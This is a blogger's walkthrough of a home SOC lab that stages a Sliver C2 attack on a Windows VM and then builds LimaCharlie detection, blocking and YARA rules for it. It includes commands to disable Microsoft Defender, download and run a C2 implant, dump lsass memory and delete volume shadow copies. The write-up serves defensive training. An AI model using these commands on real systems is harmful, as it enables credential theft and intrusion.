Blue Team Lab | Incident Detection and Response

Blue-Team Lab with some Red-Team activities | Incident Detection and Response

This is a documentation of the Home Lab designed by Eric Capuano from the series "So you want to be a SOC Analyst?". The tasks in this lab include creating VMs which we will use to emulate an adversarial attack and generate some malicious traffic to attack our target VM. Once we have some "noise" to observe, we will go through the steps of detecting that traffic, blocking the attack, and creating alerts around that kind of attack that will assist the incident response team in the future to detect those kind of activities and respond faster.
The general purpose of these exercises is to give us a deeper understanding of the tools and procedures used by SOC Analysts when defending against attacks.

While the original post series created by Eric Capuano are highly detailed and easy to follow, in my documentation of the lab series there are some additions only at parts of the process where a problem was encountered while following the steps and how those minor issues were resolved. Overall, I have tried my best to document all the useful information and knowledge that is included in the original material. Lastly, once all five parts of the lab created by Eric Capuano are completed, other labs will be tied with this documentation where we will explore more SOC related activities since by that point we will already have a ready-to-use lab environment where we can break and fix things while monitoring and detecting everything that is happening.

Quick links:

Part 1
Part 2
Part 3
Part 4
Part 5
Part 6

Part 1: Creating a small virtualization environment (2 VMs)

Install VMware Workstation Pro

this guide

Download the Windows 11 VM

Official Microsoft Website

Import and configure the Windows VM into VMware

.ovf

"Open with > VMware Workstation"

Download and configure Ubuntu Server into a new VM

ISO for Ubuntu 22.04.1 Server from the Official Ubuntu Website

this guide

14GB Disk space
2 CPU Cores
2GB RAM

The first option we encounter is if we want to update. We will press "Continue without updating"
We will proceed with the default settings until we get to the "Network Connections" screen.
Here we will need to make a few adjustments to set up the VM's IP to static which will make it easier to work with throughout this lab.
First, we need to find the gateway IP of our VMware Workstation NAT network. To do this, we will click on "Edit > Virtual Network Editor" from the top menus of VMware.
From the available networks, we will click on the "NAT" network then click on "NAT Settings". From here we need to take a note of the "Subnet IP" and "Gateway IP" then we can close down the NAT Settings and Virtual Network Editor windows.
Now we are back in the Ubuntu installer screen, we will click on the "eth" type network and then "Edit IPv4". On the new screen we can change the configuration from "Automatic (DHCP)" to "Manual". Once that is done, we'll confirm the changes and we should be back on the "Network Connections" screen.
Next, we will click on the IP displayed next to "DHCPv4" and once inside the "Edit ens33 IPv4 Configuration" screen, we will input the IP Addresses we noted down at the previous step. Replace the subnet IP with the one we got from the VMware settings and add "/24" at the end. In the "Address" field, we will copy the one that shows up next to "DHCPv4" from the "Network Connections" screen of the Ubuntu installer. Lastly, next to the "Gateway" field we will input the one we noted down from the VMware Virtual Network Editor and next to "Name servers" we can input "8.8.8.8". Click save and we should be back on the "Network Connections" screen. Now the second line should be saying "static" instead of "DHCPv4". Here we should take a note of the VM's IP address as we will need it throughout the lab.
Now we can proceed with the OS installation. When prompted, set up a memorable username and password for this VM. Next, when asked if you'd like to install "OpenSSH server", check the box / yes then continue with the installation until the "Installation Complete" appears on the top of the screen then we can hit Enter on "Reboot Now". Please note that it might take a while for the processes to finish and the system to reboot. You can click on "Show full log" to see all the packages that are being installed. If the process gets stuck on "removing CDROM", we can press enter for the system to reboot.
Once the reboot is done, we can now log-in into the newly installed VM and test our connectivity by pinging google by typing ping -c 2 google.com if we get responses with the IP of google's server displayed, it means that we're all set and good to move onto the next steps.

Setup the Windows VM

Disable Microsoft Defender on the Windows VM

Disable Tamper Protection

Click on the "Start" menu, then click on "Settings"
Click on "Privacy & Security" from the left panel
Click on "Windows Security"
Click on "Virus & Threat protection" then "Manage Settings"
Toggle Off the "Tamper Protection" switch, then click "Yes" when prompted
Toggle Off all other options on that page as well
Close down all of the Windows and return to the Desktop

Permanently Disable Microsoft Defender via Group Policy Editor

Click on the "Start" menu, then type "cmd"
Right-click on "Command Prompt" and select "Run as administrator"
Type in the command: gpedit.msc , then press "Enter"
In the Local Group Policy Editor, click on Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus
Double-click "Turn off Microsoft Defender Antivirus"
Select "Enabled"
(If you enable this policy setting, Microsoft Defender Antivirus does not run, and will not scan computers for malware or other potentially unwanted software.)
Click "Apply", then "OK"
Close down the Local Group Policy Editor window and keep the Command Prompt open

Permanently Disable Microsoft Defender via the Registry

In the same Administrative Command Prompt we used earlier, copy & paste the following command and press Enter
```
	 REG ADD "hklm\software\policies\microsoft\windows defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 
```

Boot into Safe Mode to disable all Microsoft Defender services

Click on the "Start" menu, then type "msconfig"
Select the "Boot" tab
Under "Boot Options", check the box for "Safe boot" and "Minimal"
Click "Apply", then "OK"
The VM will restart into Safe Mode
Once the restart is finished, we are now into Safe Mode and can go ahead to disable a few services via the Registry
Click on the "Start" menu then type "regedit"

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdBoot
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisDrv
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisSvc
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdFilter

Leave Safe Mode

Click on the "Start" menu, then type "msconfig"
Select the "Boot" tab
Under "Boot Options", uncheck the box for "Safe boot"
Click "Apply", then "OK"
The VM will restart into the normal desktop environment and Microsoft Defender should be now completely disabled

Install Sysmon on the Windows VM via Powershell

Sysmon

Click on the "Start" menu, then type "powershell"
Right-click on "Windows Powershell", then select "Run as administrator"
Copy & paste the following commands into Powershell to download and install Sysmon


# Download Sysmon 


  Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile C:\Windows\Temp\Sysmon.zip 


 
 

# Unzip Sysmon.zip 
 


  Expand-Archive -LiteralPath C:\Windows\Temp\Sysmon.zip -DestinationPath C:\Windows\Temp\Sysmon 


 
 


# Download SwiftOnSecurity’s Sysmon config 
 


Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml -OutFile C:\Windows\Temp\Sysmon\sysmonconfig.xml  


 



# Install Sysmon with Swift’s config 




  C:\Windows\Temp\Sysmon\Sysmon64.exe -accepteula -i 
 
  C:\Windows\Temp\Sysmon\sysmonconfig.xml 
 


 



# Validate Sysmon64 service is installed and running 


 Get-Service sysmon64 


 



# Check for the presence of Sysmon Event Logs 
 


 Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

Install LimaCharlie EDR on the Windows VM

LimaCharlie

Create a free LimaCharlie account
During the sign-up process, LimaCharlie asks a few questions. Feel free to answer those however you like. They use that information to try and develop their product better.
Once logged into LC, create and organization
1. Name: Choose a name for your organization. Any will do as long as it is a unique one
2. Data Residency: Whichever option is closest to your current location
3. Demo Configuration Enabled: Disabled
4. Template: Extended Detection & Response Standard
Once the organization is created, click "Add Sensor
1. Select Windows
2. Write a description such as: Windows VM Lab and click Create
3. Select the Installation Key we created earlier
4. Specify the x86-64 (.exe) sensor. Do not click the "selected installer" option from the installation steps of the website.
5. In the Windows VM, open an Administrative PowerShell prompt and paste the following commands:
6. Change into a standard Command Prompt by executing the following command
7. Next, copy the command provided on the LC platform which contains the installation key and paste it into the open terminal of the Windows VM. At the time of writing this documentation, the code snippet provided on the website is missing the first part which contains the actual command for the installation. Make sure you add the " lc_sensor.exe " part in front of the command mentioned above if it's not included in the original command.
8. If the installation is completed, the LimaCharlie logo will be displayed in the terminal in ASCII form and the output should be "Agent installed successfully"
9. In case the .exe option did not work for the installation, try the "x86-64 msi" instead
10. Once LimaCharlie is installed on the Windows VM, we should be able to see the sensor on the Web Platform detecting it as "windev2407eval.localdomain".
Next, we will configure LC to also ship the Sysmon event logs and its own Telemetry
1. From the left-side menu, click "Artifact Collection"
2. On the right of "Artifact Collection Rules", click add "Artifact Collection Rule"
3. LC will now start sending Sysmon logs which provide a lot of EDR-related information. Many of the built-in Sigma rules that were enabled in the previous steps, are written for Sysmon which is another reason why it's recommended to utilize that tool in this lab.

Setup the Ubuntu VM

setting up Kali Linux on WSL2 with a Graphical Interface

ssh {VM_username}@{Ubuntu_VM_IP}

Once the SSH connection is established, first we will elevate our shell to root privileges by using the superuser command.

sudo su

Now we can download Sliver, a Command & Control (C2) framework developed by BishopFox. We want to make sure the full length of the following commands is copied as some of them might be extending to the lines beneath (line wrapped).



# Download Sliver server for Linux binary
 

 wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-server_linux -O /usr/local/bin/sliver-server 


 



# Make it executable 
 

 chmod +x /usr/local/bin/sliver-server 


 



# Install mingw-w64 for additional capabilities
 

 apt install -y mingw-w64 


 



Next, we will create a working directory which we will use in the following steps.

 



# Create our working directory
 

 mkdir -p /opt/sliver

Part 2: Time for some Red-Team activities

Generating our C2 payload



 sudo su 
 
 


  cd /opt//sliver

Launch Sliver Server and generate the C2 payload



# Start the Sliver server  
 

 sliver-server 
   

 


 # Generate the C2 payload 


 generate --http {Linux_VM_IP} --save /opt/sliver 

 


 # Confirm the newly generated implant 


 implants 
 
 
 


 # Exit Sliver 


 exit

Next, drop the C2 payload onto the Windows VM.




# Access the Sliver directory 


 cd /opt/sliver 


 



# Start a temporary server that hosts the C2 payload 


 python3 -m http.server 80 


 



# Switch to the Windows VM and within an Administrative PowerShell console copy and paste the following command to download the C2 payload. Replace the {Linux_VM_IP} with the IP address of the Ubuntu Server and the {payload_name} with the name of the payload name we generated from Sliver.  


 IWR -Uri http://{Linux_VM_IP}/{payload_name}.exe -Outfile C:\Users\User\Downloads\{payload_name}.exe 


 



At this point we can take a snapshot of the Windows VM and name it "Malware staged".

Start the Command and Control Session





First, terminate the temporary web server we used to host the payload by pressing Ctrl + C


 



# Start the Sliver server 

 sliver-server 


 



# Start the Sliver HTTP listener

 http 


 



If starting the HTTP listener gives an error, rebooting the Linux VM and trying the last step again should resolve it. 


 



Back to the Windows VM, and within the same administrative PowerShell we used earlier, we can now execute the file we downloaded earlier with the following command. 

 


# Run the C2 payload 

 C:\Users\User\Downloads\{C2_implant_name}.exe 


 



Shortly after the .exe file is executed on the Windows VM, we will see a session appear on the Sliver server HTTP listener. 

 


# Verify the session in Sliver and copy the session ID 

 sessions 


 



# Interact with the active session (paste in the session ID)

 use {session_ID}




# Get basic information about the system 

 info 


 



# Find out what user the implant is running as and the privileges that user has 

 

  whoami 
 
 


  getprivs



# Identify the implant's working directory

 pwd 


 



# List the network connections taking place on the remote system

 netstat 


 




Sliver highlights its own connection in green


 



The rphcp.exe is the LimaCharlie EDR service




 



# List the running processes on the remote system

 ps -T

Observing EDR Telemetry So Far

Click on "Sensors" from the left panel.

Click on the active Windows sensor

From the left panel, click on "Processes"

Hunt Evil

EchoTrail

LOLBAS

Next, we will click on the "Network" tab from the left-side panel.

Once finished reviewing the ongoing connections taking place on our Windows VM, click on the "File System" tab from the left-side menu.

  C:\Users\User\Downloads

From here we can grab the hash of the executable in question and scan it with VirusTotal.

Lastly, we will click on "Timeline" from the left panel. Here we can find a list of near real-time view of EDR telemetry and event logs of our Windows VM.

LimaCharlie docs

Part 3 Process Detection and Alert Creation

C2 and Memory Dumping



# Check for privileges

 privs 


 



# Use the following command to dump the lsass.exe process in the memory and save it locally on the Sliver C2 server. 
 

 procdump -n lsass.exe -s lsass.dpm 

 


More information about lsass.exe and preventing credential dumping attacks can be found in this article

 
 

As a side-task, we could try to further process the lsass dump with the help of this article, but it will not be covered in this part of the lab. 

 


This step will fail if we didn't execute the C2 implant from an Administrative Powershell. If it still fails after we launch the implant via the Administrative Powershell, we can move on and we'll still be able to detect the attempt.

Detecting processes in LimaCharlie



Go into Timeline of the Windows VM sensor and use the filter to search for "SENSITIVE_PROCESS_ACCESS" events.



Since the only mentions of lsass.exe in the processes right now is our attempt to dump the process in memory, we can pick any one of the results and click on to get further information.


 


Now we know what the event looks like when credential access occurred. We can now create a detection & response (D&R) rule that would alert us every time this activity occurs.


 


Click the button on the top right corner as shown in the picture to start building a detection rule based on this event.


 


# In the "Detect" section of the rule we are creating, delete all contents and paste in the following lines.

 

event: SENSITIVE_PROCESS_ACCESS
op: ends with
path: event/*/TARGET/FILE_PATH
value: lsass.exe


 


The lines above specify that the detection rule should only look for SENSITIVE_PROCESS_ACCESS events where the victim or target process ends with lsass.exe. 

This rule would be very "noisy" the way it is set up now and further tuning would be required for a production-type environment. For the purpose of this learning exercise, we can leave it like this for now.



 


# In the "Respond" section of the rule we are creating, delete all contents and paste in the following lines.

 


- action: report
  name: LSASS access


 


The above lines are telling LimaCharlie to generate a detection "report" anytime this detection occurs. Information on more advanced response capabilities can be found in this article.

 

Ultimately, there are many different actions we could tell LimaCharlie to respond with, depending on each case, severity and reason for the event occurring in the first place. More information on this can be found here.


Now we can go ahead and test the detection & response rule we just created.



First we need to click on the "Target Event" tab. 

Here we can see the raw event we observed in the timeline earlier.


 


We need to scroll to the bottom of the raw event and we'll click on the option for "Test Event". 

If we get a "Match" on the rule we just tested it means that the detection rule is created correctly.


 


Lastly, we'll scroll back up, click on the option to "Save Rule" and name it "LSASS Accessed" and we want to make sure it's enabled.

Seeing our Detection & Response rule in action

Part 4: Blocking Attacks

here

  vssadmin delete shadows /all

Detecting a threat

sudo su



# Once in the C2 session, run the following commands

 


 shell 

 


This command will start a new shell for us which we'll then use to attempt the deletion of shadow copies.

When prompted with a warning that "This action is bad OPSEC", type "Y" and hit enter.


 



# In the new Shell, run the following command

 


 vssadmin delete shadows /all

 


The output of this command is not important as there may not be Volume Shadow Copies on the VM to be deleted. Running the command alone is enough to generate the telemetry we are looking to detect and block. 


 



# Next, we will run the whoami command to verify we still have an active system Shell

 


 whoami 


 



Now we will jump in LimaCharlie and check the detection tab to see if the default rules picked up our attempt to delete the Volume Shadow Copies.


 



Once we find the event we are looking for, we can click on it and check all the references provided by LimaCharlie that can give us more information about the process.

 

One of the reference URLs contains a YARA signature written by Florian Roth that contains several more command lines that we'd want to consider in a robust detection rule.


 



Next we can check the Timeline to see the raw event that generated this detection.


 



Create a Detection & Response rule from this event. 

From this rule template we can begin crafting our 
response action that will take place when this activity is detected again. 

 


# Add the following lines to the Respond section of the rule and save it with the name vss_deletion_kill_it

 


- action: report
  name: vss_deletion_kill_it
- action: task
  command:
    - deny_tree
    - <>


 


The "action: report" section creates a Detection report in the "Detections" tab.

 


The "action: task" section is what is responsible for killing the parent process with deny_tree for the vssadmin delete shadows /all command.

Blocking an attack




# Run the command to delete the Shadow Copies Volumes.

 

 vssadmin delete shadows /all 


 



The command will execute but the process of running the command is what will trigger our detection rule and kill the parent process.


 



# We can check if the parent process (which in this case is the shell), was terminated by trying to run another command.

 

 whoami

Florian's ransomware simulator

Copies itself to word.exe
Spawns the new word.exe to simulate a micro-enabled document execution.
Deletes volume shadow copies.
Creates 10,000 files.
Encrypts 10,000 files.

 - op: is
    path: event/FILE_PATH
    value: C:\Windows\system32\vssadmin.exe
  - op: contains
    path: event/COMMAND_LINE
    value: 'delete'
  - op: contains
    path: event/COMMAND_LINE
    value: 'shadows'
  - op: contains
    path: event/COMMAND_LINE
    value: '/all'

Part 5: Tuning Response Rules Around False Positives

Finding False Positives

Creating a False Positive Detection Rule



Create a new D&R rule with the name "Suspicious svchost execution

 


# In the "Detect" section of the rule, paste in the following lines.

event: NEW_PROCESS
op: ends with
path: event/FILE_PATH
value: \svchost.exe



 



# In the "Response" section of the rule paste in the following lines.

 


- action: report
  name: Suspicious svchost execution



 


Once we have our detection rule in place, it is a matter of time until we start having some false positives in our detection tab in LimaCharlie. 

 


If we let this run for a while and we go back into the detections tab, we will see that several of these events have been detected and all of the alerts they have generated.

 



Click on one of the detections to see the raw event and review the details. Once reviewed the specifics, click on "Mark False Positive" at the top. 


 



By default, when marking a detection as false-positive, the "Detect" section will be populated with details from the raw event. In order to make this rule more accurate, we'd need to edit some parts.

 



# The original false-positive detection rule brought forward by LimaCharlie.



 


op: and
rules:
  - op: is
    path: cat
    value: Suspicious svchost execution
  - op: is
    path: detect/event/FILE_PATH
    value: C:\Windows\system32\svchost.exe
  - op: is
    path: detect/event/COMMAND_LINE
    value: C:\Windows\system32\svchost.exe -k netsvcs -p -s wisvc
  - op: is
    path: detect/event/HASH
    value: 949bfb5b4c7d58d92f3f9c5f8ec7ca4ceaffd10ec5f0020f0a987c472d61c54b
  - op: is
    path: routing/hostname
    value: windev2407eval.localdomain



 



# This is what the false-positive rule looks like after some modification. 


 


op: and
rules:
  - op: is
    path: cat
    value: Suspicious svchost execution
  - op: is
    path: detect/event/FILE_PATH
    value: C:\Windows\system32\svchost.exe
  - op: contains
    path: detect/event/COMMAND_LINE
    value: -k 



 


You can find a detailed explanation of the different parts edited in the rule in this video by Eric Capuano  from Part 5 of the "So you want to be a SOC Analyst?" series.

video




SANS DFIR “Hunt Evil” poster




EchoTrail




LOLBAS Project

Part 6: Automated Yara Scanning

About YARA

Add a YARA signature for the Sliver C2 payload



Onto LimaCharlie's Web Interface, browse to "YARA Rules" under "Automation" on the left-side panel.

 

"Automation" > "YARA Rules"

 




If you have "YARA Service" in your menu instead of "YARA Rules", go to 1 - a of Part 6: So you want to be a SOC Analyst? where a detailed fix is written by Eric Capuano, the creator of this lab series.


 



Go to "Automation" > "YARA Rules" and click on "Add Yara Rule". Name the rule "Sliver", copy and paste the gist of the Rule Block, and click "Save Rule".


 



Before we leave this menu, we'll create another YARA rule that we'll use for a later part of the lab.

 



Name the rule sliver-process




Copy and paste this gist into the Rule block.

 



 




Next we need to setup a few D&R rules that will generate alerts whenever a YARA detection occurs.


 





Go to "Automation" > "D&R Rules"


 



Create a new rule


 





# In the Detect block, paste the following lines.


 


event: YARA_DETECTION
op: and
rules:
  - not: true
    op: exists
    path: event/PROCESS/*
  - op: exists
    path: event/RULE_NAME





# Paste the following lines in the Respond block

 


- action: report
  name: YARA Detection {{ .event.RULE_NAME }}
- action: add tag
  tag: yara_detection
  ttl: 80000



 



Save the rule and name it "YARA Detection"


 




 



Create another rule

 





# Paste the following lines in the Detect block

 


event: YARA_DETECTION
op: and
rules:
  - op: exists
    path: event/RULE_NAME
  - op: exists
    path: event/PROCESS/*


 




# Paste the following lines in the Respond block

 


- action: report
  name: YARA Detection in Memory {{ .event.RULE_NAME }}
- action: add tag
  tag: yara_detection_memory
  ttl: 80000



 



Save the rule as "YARA Detection in Memory"

Testing the new YARA signatures




In LimaCharlie, go to "Sensors List" > "Windows VM sensor"


 



Click on the "Console" option from the left-side panel. This allows us to run sensor commands against this endpoint


 



# Run the following command to start a manual YARA scan of the Sliver payload. 
yara_scan hive://yara/sliver -f C:\Users\User\Downloads\[payload_name].exe


If the rules are setup correctly so far, we should get the following results.




If there's an error while running the scan, delete the YARA and D&R rules and re-create them then try again.



 



Confirm we have a new Detection on the "Detections" screen

Automatically YARA Scan Downloaded .exe files



Go to: "Automation" > "D&R Rules"


 



# In the Detect block paste the following
event: NEW_DOCUMENT
op: and
rules:
  - op: starts with
    path: event/FILE_PATH
    value: C:\Users\
  - op: contains
    path: event/FILE_PATH
    value: \Downloads\
  - op: ends with
    path: event/FILE_PATH
    value: .exe



 



# In the Respond block, paste the following
- action: report
  name: EXE dropped in Downloads directory
- action: task
  command: >-
    yara_scan hive://yara/sliver -f "{{ .event.FILE_PATH
    }}"
  investigation: Yara Scan Exe
  suppression:
    is_global: false
    keys:
      - '{{ .event.FILE_PATH }}'
      - Yara Scan Exe
    max_count: 1
    period: 1m


 

The response will generate an alert for the .exe creation. Additionally, it will start a YARA Scan using the Sliver signature against the newly created .exe


 



Save the rule as "YARA Scan Downloaded exe"

Automatically YARA Scan Processes Launched from Downloads Directory




Go to: "Automation" > "D&R Rules"


 



Create a new rule

 





# In the Detect block, paste the following

 


event: NEW_PROCESS
op: and
rules:
  - op: starts with
    path: event/FILE_PATH
    value: C:\Users\
  - op: contains
    path: event/FILE_PATH
    value: \Downloads\


 


This rule is matching any process launched from a user's Download directory


 



# In the Respond block, paste the following

 


 
- action: report
  name: Execution from Downloads directory
- action: task
  command: yara_scan hive://yara/sliver-process --pid "{{ .event.PROCESS_ID }}"
  investigation: Yara Scan Process
  suppression:
    is_global: false
    keys:
      - '{{ .event.PROCESS_ID }}'
      - Yara Scan Process
    max_count: 1
    period: 1m
 

 






 



Save the rule as "YARA Scan Process Launched from Downloads"

Triggering the new rules




Instead of redownloading the C2 exe we can simply move it back and forth in the Downloads directory

 




# Run the following commands from a PowerShell to move the C2 file. Replace the {payload_name} with the actual payload name we generated earlier.

 

Move-Item -Path C:\Users\User\Downloads\{payload_name}.exe -Destination C:\Users\User\Documents\{payload_name}.exe



 



# Move back the C2 exe into the Downloads directory

 


Move-Item -Path C:\Users\User\Documents\{payload_name}.exe -Destination C:\Users\User\Downloads\{payload_name}.exe



 






Go to Detections tab and find the newly created detection

Triggering the new rules




# Run this command from an Administrative Powershell to kill any existing instances of the Sliver C2 from previous parts of the lab. (replace {paylad_name} with the actual C2 payload name)

 


Get-Process {payload_name} | Stop-Process




 



# Execute the sliver payload to create the NEW_PROCESS event to trigger the scanning of a process launched from the Downloads directory

 


C:\Users\User\Downloads\{payload_name}.exe



 



Check the Detections tab to see the newly created event.

So you want to be a SOC Analyst? by Eric Capuano